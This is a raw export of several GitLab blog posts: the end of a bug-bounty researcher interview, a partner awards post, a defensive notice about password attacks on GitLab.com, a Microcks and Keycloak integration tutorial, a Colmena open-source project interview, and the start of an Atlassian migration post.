(@0xn3va)](https://hackerone.com/0xn3va):_\n\nVlad is an application security engineer who helps software development teams create more secure applications. In his spare time, he hunts for vulnerabilities in bug bounty programs and tries to expand his skills and knowledge to become more advanced in the security area. Thanks to this passion, he now leads two [open-source knowledge base projects](https://github.com/0xn3va) for application security engineers. When not working or hunting, he tries to devote time to his beloved wife and for discovering new things through travel.\n\n*Check out the replay from our live Ask Me Anything session with Vlad:*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/aJagtR77GwI?si=PPyFxsNVoJm5qz0L\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Getting started\n**When you first started doing bug bounty hunting, was it easy to find \"low-hanging fruit,\" or did it take some time to get into the right mindset and learn the tricks?**\n\nVlad: It took some time! My first attempt was back in 2021, and even though I had been learning a lot, I wasn’t able to find anything special or remarkable. But then a year later I decided to try again, and it gave much better results. Honestly, I believe that I am still searching for an approach that works for me, and that there is no final point in this search. The more time you spend on bug bounty, the more it will open up to you. However, it’s impossible to reach a final goal and say “Okay, I now have enough skills to hack anything I’d like\".\n\n**When hunting bugs do you tend to focus on individual companies, or do you focus on a single technology you might have more experience with and then look at what companies that could apply to?**\n\nI focus both on technologies and products that interest me. From my point of view, in order to find critical vulnerabilities you often need to dive deep into the system and understand what components it has and how they work together. I believe that developing this mindset is what allows hackers to grow. Moreover, you can see how this mindset works in real cases in articles by people like [Sam Curry](https://samcurry.net/) or the [Assetnote team](https://blog.assetnote.io/) and other mature researchers. So in summary, I would say that I try to combine both approaches to achieve the best results. \n\n**What advice would you give to someone looking to get started with bug bounties?**\n\nThis is tricky, and I’ve spent time thinking about this. I believe we all have unique experiences, mindsets, and knowledge bases, and it is impossible to recreate someone’s success. Focus on what interests you and create your own unique path.\n\n## Researching the GitLab bug bounty program\n\n**You often spend a lot of time discussing impact with the team, which sometimes has led to reports that have been closed then have been reopened. What are your thoughts around this?**\n\nI think it’s the responsibility of the researcher to show the impact as clearly as possible. Honestly, I do not believe that a security team can easily see the whole picture in a lot of cases. As a researcher, I would like to cover all the gray areas and explain my vision of the vulnerability. In many cases, a team may miss possible exploitation paths and ways of expanding the attack surface. Especially if you are reporting something unique, involving using new techniques or technologies. In other words, you just can’t expect that the team on the other side of the bug bounty program has exactly the same level of knowledge and expertise in a particular area where you have found a vulnerability. \n\nThis may not be a popular opinion, because many argue that post-exploitation and showing impact are often out of scope in bug bounty programs, and that the security team should evaluate risks better from the beginning. There is truth in this, I agree. In many cases, the actual business risks may be so low that the technical impact of a vulnerability will not matter. However, I'd say this is more of an exception.\n\nLastly, it does not mean that a researcher should drop all the data in a database to prove the impact of a found SQL injection vulnerability. I think the key is to find a balance between showing the real impact and actually harming the system. \n\n**What's your experience working with the GitLab security team in contrast to other program teams?**\n\nThe GitLab Security team is one of the most mature teams I have worked with. In contrast to other teams, GitLab provides exceptional transparency.\n\n**It has been noted that you often lean towards code reviews in your reports, and that you often describe both the bug and the root cause. What is your approach to dynamic vs. static testing when it comes to GitLab or in general? Are you switching back and forth, or do you mainly focus on one method?**\n\nI tend to focus on code analysis, as I have a passion to read and review code. I find it interesting to figure out how the code works, and to actually discover the root cause of a vulnerability. I need to know why a vulnerability happened. However, in many cases reviewing code is not enough, and I have to turn to dynamic analysis, as well as debugging if possible.\n\n**Does the design of the UI influence the likelihood of vulnerabilities?** \n\nWell, first of all, I’m not a UI design expert. But however ridiculous as it may sound, it is actually quite important from an application security perspective to understand how a user interacts with an application.\n\nFor example, if some security settings are optional, a complex user interface will not increase the likelihood of using these settings by ordinary users. Moreover, if settings make the user experience more complicated, these settings will be simply disabled by most users.\n\nThis is especially important in critical situations. For example, say that you receive several email notifications that someone has logged into your account from an unfamiliar device. In such situations, a user should have specific steps to mitigate the attack, which, for instance, could be added directly to the email. For instance, maybe there could be a big red button to change your password and to set up two-factor authentication. \n\nAmong security design principles, there is “psychological acceptability” that says that “security functionality should be easy to use, and at the same time transparent to a user.\"\n\nSo, in summary, I think that UI and security actually are closely related and that needs to be considered whilst designing solutions.\n\n**AI is a hot topic at the moment, especially here at GitLab. Do you think it will make your life as a bug hunter easier, or harder? Could you briefly explain why?**\n\nI believe it is easier and harder at the same time. Easier because some issues that I stumble upon nowadays can be solved by using AI, like decreasing the amount of false positive issues while scanning.\n\nHowever, it is also harder because AI is a huge gray area, it significantly increases the attack surface and complicates defense. The patterns and mechanisms that perfectly worked before should be reinvented and applied. \n\n## Getting to know our hacker\n**What’s your favorite weird food combination?**\n\nThe weirdest combination I've tried is beer with salt and chili. This is beyond my understanding.\n\n**If someone wrote a book about you, what would the title of the book be?**\n\n“Strange Days”\n\n**Sock, shoe, sock shoe, or sock sock, shoe shoe?**\n\nDefinitely shoe sock to complete the sequence of permutations.\n\n## Want to know more? Watch the replay!\n\nLearn more about check out the [YouTube live playback](https://www.youtube.com/watch?v=aJagtR77GwI). If you want to dive deeper, you can see all of our [Ask a Hacker AMAs here](https://www.youtube.com/playlist?list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s). A huge thanks to everyone who joined live on the day, who submitted questions, and of course to Vlad!\n\nKeep up with Vladislav Nechakhin by following [him on Twitter](https://twitter.com/0xn3va) and [checking out his hacktivity on HackerOne](https://hackerone.com/0xn3va?type=user).\n\n## About the GitLab Bug Bounty program\nThe overarching goal of our bug bounty program is to make our products and services more secure. The program is managed by our Application Security team. Since launching our public bug bounty program in December 2018, we’ve resolved 1396 reports, awarded more than $3.5 million dollars in bounties and thanked 563 hackers for those findings.  You can see our program dashboard at https://hackerone.com/gitlab.\n\nCover image by [Fotis Fotopoulos](https://unsplash.com/@ffstop?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/DuHKoV44prg?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674,1938],{"slug":8273,"featured":6,"template":678},"ask-a-hacker","content:en-us:blog:ask-a-hacker.yml","Ask A Hacker","en-us/blog/ask-a-hacker.yml","en-us/blog/ask-a-hacker",{"_path":8279,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8280,"content":8286,"config":8291,"_id":8293,"_type":16,"title":8294,"_source":17,"_file":8295,"_stem":8296,"_extension":20},"/en-us/blog/gitlab-partner-of-year-emea-apac-award-winners",{"title":8281,"description":8282,"ogTitle":8281,"ogDescription":8282,"noIndex":6,"ogImage":8283,"ogUrl":8284,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8284,"schema":8285},"Meet the 2023 GitLab Partner of the Year award winners for EMEA and APAC","We recognized our channel, technology, and cloud partners in EMEA and APAC for their collaboration and contributions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679312/Blog/Hero%20Images/awardstars.jpg","https://about.gitlab.com/blog/gitlab-partner-of-year-emea-apac-award-winners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet the 2023 GitLab Partner of the Year award winners for EMEA and APAC\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patty Cheung\"}],\n        \"datePublished\": \"2023-10-02\",\n      }",{"title":8281,"description":8282,"authors":8287,"heroImage":8283,"date":8269,"body":8289,"category":736,"tags":8290},[8288],"Patty Cheung","\nAt GitLab’s second annual EMEA Partner Leadership Summit, held in London last month, we invited channel, technology, and cloud partners to join us to celebrate their achievements, empower their success, and provide resources and support for the year to come. \n\nWe recognized our partners for their contributions via the Partner Leadership Awards, including EMEA and APAC Partner of the Year, EMEA Distributor of the Year, and EMEA Services Partner of the Year. \n\nGitLab strives to create collaborative and mutually beneficial relationships with our partners, and we also encourage our partners to embrace GitLab’s values of Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging, Iteration, and Transparency ([CREDIT](https://handbook.gitlab.com/handbook/values/)). Each award winner demonstrated a strong partnership with GitLab and alignment with CREDIT values.\n\nOur 2023 Partner Leadership Summit Award winners for EMEA and APAC are:\n\n## EMEA Partner of the Year: SVA System Vertrieb Alexander GmbH\n_SVA is one of Germany’s leading IT services providers. With products from leading manufacturers, their project know-how and range of services, and flexibility, they develop optimal solutions for companies and public-sector clients._\n\nSVA's approach to customer engagement is a testament to their dedication to helping businesses tackle their distinctive challenges through the transformative power of DevSecOps. They have also invested in GitLab to **efficiently** manage their own workloads thus creating a strong GitLab culture and proficient technical teams. SVA works to ensure that customers not only embrace DevSecOps but also reap the full benefits, ensuring a substantial return on investment. \n\n## APAC Partner of the Year: Infograb LC\n_Infograb is a DevOps Tech company with Agile-based software development and DevOps framework technology know-how in various institutions, mainly the financial sector._\n\nInfograb was one of our first partners in Korea, and they immediately saw the value and opportunity to not only sell GitLab but provide great value for their customers through a strong services practice. Infograb has continued to grow their GitLab practice year after year, becoming a stand-out partner for us in the region. Infograb has been instrumental in helping win some of the largest enterprise customers in Korea supported by an outstanding solution engineering team who always delivers amazing **results** for their customers.\n\n## EMEA Distributor of the Year: Amazic\n_Amazic is a trusted supplier and solution advisor for partners, individuals, and many of the world’s largest organizations across different industry verticals by offering a unique platform for purchasing technology products and services and accessing training courses._\n\nAmazic earned Distributor of the Year as a result of their continued focus on developing a DevSecOps Ecosystem with GitLab throughout EMEA. They manage a dedicated open partner base, ensuring technical enablement and training around GitLab to support customer development. Their marketing department is continually **iterating** innovative campaigns highlighting business opportunities to help customers develop their own DevSecOps journey. The Amazic marketplace simplifies and consolidates customers’ product purchasing, saving time and money. \n\n## EMEA Services Partner of the Year: Adfinis\n_Adfinis is a leading service provider of Open Source solutions for over 20 years and is based in Switzerland, Germany, the Netherlands, and Australia. As a company, Adfinis contributes to sustainable and reliable IT solutions by being intensely involved in the Open Source community._\n\nAdfinis joined forces to partner with GitLab back in 2020 sharing a similar vision of working with open source solutions. Since then they have been true to their word, investing in their professional services capabilities and becoming a team of highly proficient DevSecOps engineers operating across EMEA. They always keep abreast of GitLab product releases, often being the first to prove these innovations in the field, we recognize them as a true **collaborator** to GitLab as they are to their customers. \n\nOur heartfelt congratulations to all the winners! We look forward to further collaboration in the year to come. \n\nLearn more about [GitLab’s Partner Program](https://partners.gitlab.com/English/).\n",[282,736,2368],{"slug":8292,"featured":6,"template":678},"gitlab-partner-of-year-emea-apac-award-winners","content:en-us:blog:gitlab-partner-of-year-emea-apac-award-winners.yml","Gitlab Partner Of Year Emea Apac Award Winners","en-us/blog/gitlab-partner-of-year-emea-apac-award-winners.yml","en-us/blog/gitlab-partner-of-year-emea-apac-award-winners",{"_path":8298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8299,"content":8304,"config":8309,"_id":8311,"_type":16,"title":8312,"_source":17,"_file":8313,"_stem":8314,"_extension":20},"/en-us/blog/unmasking-password-attacks-at-gitlab",{"title":8300,"description":8301,"ogTitle":8300,"ogDescription":8301,"noIndex":6,"ogImage":6022,"ogUrl":8302,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8302,"schema":8303},"Unmasking password attacks at GitLab","Our security team has identified an increased volume of password attacks against GitLab.com on the OAuth API endpoint since September 22, 2023. Learn more.","https://about.gitlab.com/blog/unmasking-password-attacks-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unmasking password attacks at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2023-09-28\",\n      }",{"title":8300,"description":8301,"authors":8305,"heroImage":6022,"date":8306,"body":8307,"category":674,"tags":8308},[2012],"2023-09-28","\n\nOur security team has identified an increased volume of password attacks against GitLab.com on the [OAuth](https://docs.gitlab.com/ee/api/oauth2.html) API endpoint, starting on September 22, 2023. These attacks appear automated and are attempting to authenticate to multiple accounts that have simple usernames. While GitLab remains secure, we are increasing our security measures and are closely monitoring all activities to reduce the risk of account compromise.\n\nGitLab Security continues to monitor the attacks and is confident that our security controls are effectively mitigating them. To prevent these activities from locking out your accounts, GitLab recommends you enable two-factor authentication. We recently implemented a [product update](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/132758) to reduce the chances that accounts with [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) will get locked out.\n\nWe recommend the following precautions:\n- Enforce GitLab-layer two-factor authentication for accounts in your GitLab namespace.\n- Use the [Restrict Group Access](https://docs.gitlab.com/ee/user/group/access_and_permissions.html#restrict-group-access-by-ip-address) by IP Address feature, which allows you to specify the IP addresses from which users can access the group. It is a helpful measure to ensure that only individuals within the organization can access specific resources.\n- Use [Git Abuse Rate Limiting](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) to automatically ban users who download, clone, pull, fetch, or fork more than a specified number of repositories of a group in a given time frame. \n- The password attempts could evolve and target another endpoint in the future. We recommend using strong, unique passwords and changing them regularly. \n- Be vigilant against phishing attempts and report any suspicious activities to our support team immediately.\n",[674],{"slug":8310,"featured":6,"template":678},"unmasking-password-attacks-at-gitlab","content:en-us:blog:unmasking-password-attacks-at-gitlab.yml","Unmasking Password Attacks At Gitlab","en-us/blog/unmasking-password-attacks-at-gitlab.yml","en-us/blog/unmasking-password-attacks-at-gitlab",{"_path":8316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8317,"content":8323,"config":8329,"_id":8331,"_type":16,"title":8332,"_source":17,"_file":8333,"_stem":8334,"_extension":20},"/en-us/blog/microcks-and-gitlab-part-one",{"title":8318,"description":8319,"ogTitle":8318,"ogDescription":8319,"noIndex":6,"ogImage":8320,"ogUrl":8321,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8321,"schema":8322},"Speed up API and microservices delivery with Microcks and GitLab - Part 1","Learn how to configure Microcks for GitLab and what the use cases are for this open source Kubernetes-native tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683021/Blog/Hero%20Images/lightsticks.png","https://about.gitlab.com/blog/microcks-and-gitlab-part-one","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Speed up API and microservices delivery with Microcks and GitLab - Part 1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Madou Coulibaly\"}],\n        \"datePublished\": \"2023-09-27\",\n      }",{"title":8318,"description":8319,"authors":8324,"heroImage":8320,"date":8326,"body":8327,"category":734,"tags":8328},[8325],"Madou Coulibaly","2023-09-27","\n\nAPI development is all the rage these days for customer and partner integration, frontend-to-backend communication, microservices orchestration, and more. Yet APIs have their challenges, including how to create a fast feedback loop on design, how different teams can work with autonomy without having to wait for each other's API implementation, and how to cope with backward compatibility tests when shipping newer versions of the API. \n\n[Microcks](https://microcks.io), an open source, Kubernetes-native tool for API mocking and testing, addresses these challenges. With Microcks, which is accepted as a Sandbox project in the [Cloud Native Computing Foundation](https://cncf.io), developers can leverage their [OpenAPI](https://www.openapis.org/), [GraphQL](https://graphql.org/), [gRPC](https://grpc.io/), [AsyncAPI](https://www.asyncapi.com/), and [Postman Collection](https://www.postman.com/collection/) assets to quickly mock and simulate APIs before writing them. Couple Microcks with GitLab and you have a powerful combination to foster collaboration, encourage rapid changes, and provide a robust delivery platform for API-based applications.\n\nIn this ongoing blog series, we will introduce you to Microcks use cases and how they fit with the GitLab platform. We'll also discuss technical integration points that will help ease the developer burden, including identity management, Git repositories, and pipeline integrations.\n\n## What is Microcks?\nMicrocks addresses two major use cases: \n- **Simulating (or mocking) an API or a microservice** from a set of descriptive assets. This can be done as soon as you start the design phase to set up a feedback loop very quickly, or later on to ease the pain of provisioning environments with a lot of dependencies.\n- **Validating the conformance of your application regarding your API specification** by running contract-test. This validation can be integrated into your CI/CD pipeline so that conformance can be checked on each and every iteration. This is of great help to enforce backward compatibility of your API of microservices interfaces.\n\nMicrocks offers a uniform and consistent approach for the various kinds of request/response APIs (REST, GraphQL, gRPC, Soap) and event-driven APIs (currently supporting eight different protocols), thereby bringing consistency for users and for automations all along your API lifecycle.\n\n## How Microcks fits into the software development lifecycle\nMicrocks is a solution based on containers and can be deployed in several configurations. It can be deployed on the developer laptop through [Docker](https://microcks.io/documentation/installing/docker-compose/), [Podman](https://microcks.io/documentation/installing/podman-compose/) or [Docker Desktop Extension](https://microcks.io/documentation/installing/docker-desktop-extension/) to assist with mocking complex environments. When it comes to team collaboration, Microcks can be deployed as a centralized instance that connects to the Git repositories of the organization, discovers the API artifacts, and then provides shared up-to-date API simulations.\n\n![diagram of how Microcks fits into development lifecycle](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/microcks.png){: .shadow.small.center}\n\nTo ease the burden on developers (and administrators), Microcks can be configured to use your GitLab platform as an identity provider. With that configuration, integrating Microcks is seamless, and API simulations are automatically shared among development teams. Microcks fosters collaboration by providing everyone with the same “source of truth” and avoiding drift risks. The tool can also be used to lower the pain and the cost of deploying and maintaining complex QA environments because simulations are inexpensive to deploy or redeploy on-demand. Microcks deployment follows a GitOps approach.\n\nBeyond this sharing of simulations, Microcks also integrates well with CI/CD pipelines. As you release API-based applications, there is always concern about conformance of the contractualized expectations you defined using specifications like OpenAPI, GraphQL, and the like. Usually, the hardest part isn't delivering the `1.0` of this API; problems come later when you're trying to deliver the `1.3`. This latest version must still be backward compatible with the 1.0 contract if you don't want to make your consumers angry and frustrated.\n\nThis conformance validation is very well assured by Microcks using contract-testing principles. So we encourage you to plug Microcks into some `test` related jobs in your GitLab pipeline and delegate this conformance validation to your Microcks instance.\n\n![microcks-in-gitlab-workflow](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/microcks-in-gitlab-workflow.png){: .shadow.medium.center}\n\n\nEmbedding Microcks conformance testing in your pipeline is actually easy thanks to our lightweight CLI that you'll integrate in pipeline jobs. You can choose to reuse an existing Microcks instance to record results and keep history of your success or pop up a new ephemeral instance as it's lightweight and fast to bootstrap.\n\n## How to set up GitLab as an identity provider in Microcks\n\nTo start off this series, we will detail how to configure Microcks to use your GitLab platform as an identity provider. This is in fact very easy as authentication in Microcks is based on [Keycloak](https://keycloak.org) (another CNCF project) and GitLab can be set as an identity provider in Keycloak (see [official documentation](https://www.keycloak.org/docs/latest/server_admin/index.html#gitlab)).\n\n**Note:** This configuration is optional as Microcks can use any other identity provider Keycloak integrates with.\n\nKeycloak is a very common solution that may be deployed already at your organization. If not, Microcks comes with a Keycloak distribution that is pre-configured for its usage with a realm called `microcks`. We have used this realm to validate this configuration.\n\n### Create a GitLab Group Application\nThe first thing is to create a new [Group Application](https://docs.gitlab.com/ee/integration/oauth_provider.html#create-a-group-owned-application) on your GitLab instance as follows:\n- `Name`: `microcks-via-keycloak`\n- `Redirect URI`: `https://keycloak.acme.org/realms/microcks/broker/gitlab/endpoint`\n- `Scopes`: `read_user`, `openid`, `profile` and `email`\n\n![gitlab-application-form](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/gitlab-application-form.png){: .shadow.medium.center}\n\n\nThis application uses your Keycloak instance with `https://keycloak.acme.org/realms/microcks/broker/gitlab/endpoint` as the redirect URI. As a result, we obtain an `Application ID` and an associated `Secret` we have to keep aside for the next step.\n\n![gitlab-application](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/gitlab-application.jpeg){: .shadow.medium.center}\n\n\n### Add GitLab as identity provider in Keycloak\nThe next step takes place in the Keycloak admin console. Once the correct `microcks` realm is selected, you'll just have to go to the **Identity providers** section and add a GitLab provider. Simply paste here the `Application ID` you got earlier as `Client ID` and the `Secret` as `Client Secret`. You can also choose a `Display order` if you plan to have multiple identity providers.\n\n![keycloak-identity-provider](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/keycloak-identity-provider.jpg){: .shadow.medium.center}\n\n\nThen, from the **Authentication** section in the admin console, choose the browser flow and configure the `Identity Provider Redirector` as follows:\n\n- `Alias`: `GitLab`\n- `Default Identify Provider`: `gitlab`\n\n![keycloak-redirector](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/keycloak-redirector.jpg){: .shadow.medium.center}\n\n### Test your Microcks configuration\nNow open the Microcks URL into your browser and you'll be directly redirected to the GitLab login page. Enter your GitLab credentials and you will be authenticated and redirected to Microcks. \n\n![microcks-homepage](https://about.gitlab.com/images/blogimages/2023-09-27-microcks-and-gitlab-part-1-speed-up-api-and-microservices-delivery/microcks-homepage.jpeg){: .shadow.medium.center}\n\n## What's next?\nIn upcoming blogs, we'll detail how GitLab can be used in the two major use cases for Microcks. We'll see how Microcks integrates with GitLab Git repositories to discover API specifications and produce simulations, and how to integrate Microcks conformance tests into your GitLab CI/CD pipelines.\n\n_[Laurent Broudoux](https://www.linkedin.com/in/laurentbroudoux/) is a cloud-native architecture expert and enterprise integration problem lover. He has helped organizations in adopting distributed and cloud paradigms while capitalizing on their critical existing assets. He is the founder and lead developer of the [Microcks.io](https://microcks.io/) open-source project: a Kubernetes-native tool for API mocking and testing. For this, he is using his 10+ years experience as an architect in financial services where he defined API transformation strategies, including governance and delivery process._\n\n_[Madou Coulibaly](https://gitlab.com/madou) is a senior solutions architect at GitLab._\n",[944,942,110,3949,232],{"slug":8330,"featured":6,"template":678},"microcks-and-gitlab-part-one","content:en-us:blog:microcks-and-gitlab-part-one.yml","Microcks And Gitlab Part One","en-us/blog/microcks-and-gitlab-part-one.yml","en-us/blog/microcks-and-gitlab-part-one",{"_path":8336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8337,"content":8343,"config":8347,"_id":8349,"_type":16,"title":8350,"_source":17,"_file":8351,"_stem":8352,"_extension":20},"/en-us/blog/open-source-tools-for-citizen-journalists",{"title":8338,"description":8339,"ogTitle":8338,"ogDescription":8339,"noIndex":6,"ogImage":8340,"ogUrl":8341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8341,"schema":8342},"How the Colmena project uses GitLab to support citizen journalists","Find out why the Colmena project, a GitLab Open Source Partner, relies on a DevSecOps platform to develop and deliver open source tools for citizen journalism.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683016/Blog/Hero%20Images/citizenjournalism.png","https://about.gitlab.com/blog/open-source-tools-for-citizen-journalists","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the Colmena project uses GitLab to support citizen journalists\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-09-27\",\n      }",{"title":8338,"description":8339,"authors":8344,"heroImage":8340,"date":8326,"body":8345,"category":813,"tags":8346},[8083],"\nIn an increasingly crowded media ecosystem, finding an audience — and being heard — can be difficult, especially for indigenous communities with limited access to global platforms. But using the open source [Colmena project](https://blog.colmena.media/), anyone can collaboratively plan, record, edit, and distribute hyperlocal and community-focused media products that reach audiences worldwide.\n\nThe Colmena project (which takes its name from the Spanish word for \"beehive\") is a [GitLab Open Source Partner](https://go.gitlab.com/030Ue3). I recently spoke with community members [Nils Brock](https://gitlab.com/nilsbrock), [Vivienne Gager](https://gitlab.com/vivienne.maria), and [Santiago Garcia Gago](https://gitlab.com/SantiagoGG) about how they use GitLab to help people find their voices, tell their stories, and help their communities.\n\nWe conducted our interview iteratively, asynchronously, and collaboratively [via merge request](https://gitlab.com/gitlab-com/marketing/developer-relations/open-source-program/gitlab-open-source-partners/publications-and-presentations/-/merge_requests/9).\n\n**Welcome to the the GitLab Open Source Partners community! We're so delighted you're here. Tell our readers more about Colmena. What is it?**\n\nBrock, Gager, and Garcia Gago: Colmena is open technology for journalists. Think of it as a mobile digital newsroom for field reporters and media outlets. Our software enables users to create and share content. But here is what's special: The solution is developed together with local and community media from the Global South, is free to use, and is completely open source. \n\nThe backbone of Colmena is a custom-made digital newsroom for production teams, which includes all essential features for content creation, with special consideration for audio productions and transmissions. So we have audio streaming and podcast production workflows, a mobile recording option (face-to-face and online interviews), and mobile text and audio editing tools. All tools are set up for cross-media collaboration and are highly customizable. It's also important to note that Colmena is already available in eight languages, including English, Arabic, and Ukranian.\n\nBut Colmena doesn't need to stop there. We are always open for new suggestions.\n\n**Where can users download Colmena? How can they use it?**\n\nAs a lightweight app (a so-called \"progressive web application,\" or PWA), Colmena performs on a wide range of mobile and desktop devices for easy online/offline creation and collaboration. On the server side, we have established a secure and federated architecture, offering cloud-based sharing, storage, and publishing wherever you want, be it your own website on social media or other platforms.\n\n**How did the project get started? What mission, vision, and values drive it?**\n\nThe initiative [was born as a response to the COVID-19 pandemic](https://p.dw.com/p/3ydGf), and it's led by DW Akademie and the Mexican NGO Redes por la Diversidad, Equidad y Sustentabilidad A.C. The project is supported by the German Federal Ministry of Economic development and Cooperation (BMZ) as part of the Global Crisis Initiative (GKI).\n\n[Our vision](https://p.dw.com/p/40B1S) is to provide safe and inclusive digital tools for the communication, creation, and sharing of human rights-based content, to defend and extend freedom of expression to all parts of the world. And as the driving force behind the Colmena project, our mission is to sustainably maintain and develop the open source Colmena software as a commons, based on the needs of community-centered communication, networking, and media practices of the global majority.\n\nCollaboration is an important aspect of Colmena's development model. We develop the application working closely with [media partners](https://p.dw.com/p/4B1ID), to whom we refer as \"communities of practice\" (CoPs). Generally, one or two members of each CoP serve as representatives of their media outlets in the Colmena project. One might say they have the most important role in the project. Colmena is a collective response to their needs, and we want to design it to overcome challenges they face.\n\n**How does the Colmena project use GitLab to accomplish all this?**\n\nWe use of GitLab for the Colmena Project in three different ways. The first use is quite technical: We use it as [a development platform and code repository](https://git.colmena.network/maia). All repositories for the Colmena PWA are public; we keep only the \"infra\" project private (since that's where the data of our development servers are stored).\n\nSecondly, [GitLab's wiki feature](https://docs.gitlab.com/ee/user/project/wiki/) serves us quite well as a documentation space for both our general work team and additional collaborators, who are the coordinators of our CoPs and the media partners involved in the co-creation of Colmena. [In the wiki](https://git.colmena.network/maia/frontend/-/wikis/home), for instance, we socialize information for the onboarding of new team members — like general information on the project, additional literature, and manuals of the tools we use in the project and documentation of conducted workshops for internal knowledge sharing. Before we had this documentation stored in a Nextcloud instance, but using GitLab for this work creates deeper understanding between the users, coordinators, and the development team about Colmena development processes and workflows.\n\nFinally, we maintain [an open \"support\" project](https://git.colmena.network/maia/support/-/issues?scope=all&state=all). In this project, the coordinators of the CoPs, who work with 30 media outlets from different countries, collect suggestions or detected bugs and report them. The development team evaluates and responds to each of them. If they need specialized attention — for example, development of a new feature or some bug fixing — we move these these issues to the corresponding development projects. We are currently migrating this repository from our self-hosted instance [to Gitlab.com](https://gitlab.com/colmena-project/communities-of-practice).\n\n**Why did the Colmena project choose GitLab as its development platform?**\n\nColmena was born as a free and open source software project; many of the developers and members of the coordination team have been involved in free software and community media projects before (for example, in the [Network of Community Radios and Free Software](https://liberaturadio.org/)). Our project always wanted to maintain this philosophy when looking for suitable software development platforms. That's why we chose GitLab: It shares our ideals regarding software development and knowledge sharing. Furthermore, Colmena is proud to use GitLab together with other free software projects that we have been using for ages, such as [Inkscape, Debian, and VLC](https://go.gitlab.com/030Ue3).\n\nBesides the shared philosophy, however, GitLab offers us technical options that other platforms do not. For example, it can be self-hosted, allows for management of groups and subgroups is, and features integrated planning tools like [epics](https://docs.gitlab.com/ee/user/group/epics/) and [roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/) that really benefit the development process.\n\n**How can potential contributors learn more about Colmena?**\n\nIf you want to get in touch with us, please visit [our website](https://colmena.media) or write the team directly at `info@colmena.media`. You can also [browse the project and contirbute on GitLab](https://gitlab.com/colmena-project).\n\n## Watch the webcast \nWatch our interview with the Colmena project.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4wIg2M1EoHI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Learn more\nThe [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. Connect with them on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).\n",[815,267,754],{"slug":8348,"featured":6,"template":678},"open-source-tools-for-citizen-journalists","content:en-us:blog:open-source-tools-for-citizen-journalists.yml","Open Source Tools For Citizen Journalists","en-us/blog/open-source-tools-for-citizen-journalists.yml","en-us/blog/open-source-tools-for-citizen-journalists",{"_path":8354,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8355,"content":8360,"config":8366,"_id":8368,"_type":16,"title":8369,"_source":17,"_file":8370,"_stem":8371,"_extension":20},"/en-us/blog/atlassian-server-ending-move-to-a-single-devsecops-platform",{"title":8356,"description":8357,"ogTitle":8356,"ogDescription":8357,"noIndex":6,"ogImage":7651,"ogUrl":8358,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8358,"schema":8359},"Atlassian Server ends: Time to move to integrated DevSecOps","Atlassian is about to end support for Server products. Learn why now is the time to make the upgrade to GitLab’s single DevSecOps platform.","https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2023-09-26\",\n      }",{"title":8361,"description":8357,"authors":8362,"heroImage":7651,"date":8363,"body":8364,"category":962,"tags":8365},"Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform",[1304],"2023-09-26","\nThe February 15, 2024, end-of-life date for 